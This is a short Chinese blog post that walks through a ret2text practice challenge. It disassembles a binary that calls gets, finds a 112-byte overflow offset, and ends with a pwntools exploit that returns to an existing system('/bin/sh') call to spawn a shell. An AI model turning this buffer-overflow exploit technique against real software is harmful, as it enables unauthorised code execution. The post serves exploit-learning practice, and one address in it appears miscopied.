ret2text练习
今天简单回顾了一下ret2text,并在网上找了部分相关大佬的博客,把这次练习记录了下来。
1. 检查文件保护开启情况
我们发现之开启了NX保护

2.对主函数进行反汇编
pwndbg> disass main Dump of assembler code for function main: 0x08048648 <+0>: push ebp 0x08048649 <+1>: mov ebp,esp 0x0804864b <+3>: and esp,0xfffffff0 0x0804864e <+6>: add esp,0xffffff80 0x08048651 <+9>: mov eax,ds:0x804a060 0x08048656 <+14>: mov DWORD PTR [esp+0xc],0x0 0x0804865e <+22>: mov DWORD PTR [esp+0x8],0x2 0x08048666 <+30>: mov DWORD PTR [esp+0x4],0x0 0x0804866e <+38>: mov DWORD PTR [esp],eax 0x08048671 <+41>: call 0x80484d0 <setvbuf@plt> 0x08048676 <+46>: mov eax,ds:0x804a040 0x0804867b <+51>: mov DWORD PTR [esp+0xc],0x0 0x08048683 <+59>: mov DWORD PTR [esp+0x8],0x1 0x0804868b <+67>: mov DWORD PTR [esp+0x4],0x0 0x08048693 <+75>: mov DWORD PTR [esp],eax 0x08048696 <+78>: call 0x80484d0 <setvbuf@plt> 0x0804869b <+83>: mov DWORD PTR [esp],0x804876c 0x080486a2 <+90>: call 0x8048480 <puts@plt> 0x080486a7 <+95>: lea eax,[esp+0x1c] 0x080486ab <+99>: mov DWORD PTR [esp],eax 0x080486ae <+102>: call 0x8048460 <gets@plt> 0x080486b3 <+107>: mov DWORD PTR [esp],0x80487a4 0x080486ba <+114>: call 0x8048450 <printf@plt> 0x080486bf <+119>: mov eax,0x0 0x080486c4 <+124>: leave 0x080486c5 <+125>: ret End of assembler dump.
3.分析代码
在代码中我们可以看到存在危险函数get(溢出点),我们通过这个函数可以覆盖返回地址,跳转到system函数,接着我们开始构建payload:
4. payload的构建
使用pwndbg中的cyclic测试偏移位数:


偏移位数为112,接着找到system函数:

接着我们使用objdump找到这个地址的函数:

在这个地址的上一行,mov指令将0x80848763的数据传入到了esp寄存器中,即下放system函数的参数:
接着我们查看这个地址的参数是什么:

我们可以看待这个参数:"/bin/sh",返回到这个地址即可getshell,所以我们的返回地址为0x804863a
payload=112*’a'+p32(0x804863a)
5. 构造exp
from pwn import * offset = 112 sh = process("./ret2text") payload = 'a' * offset + p32(0x804863a) sh.sendline(payload) sh.interactive()

浙公网安备 33010602011771号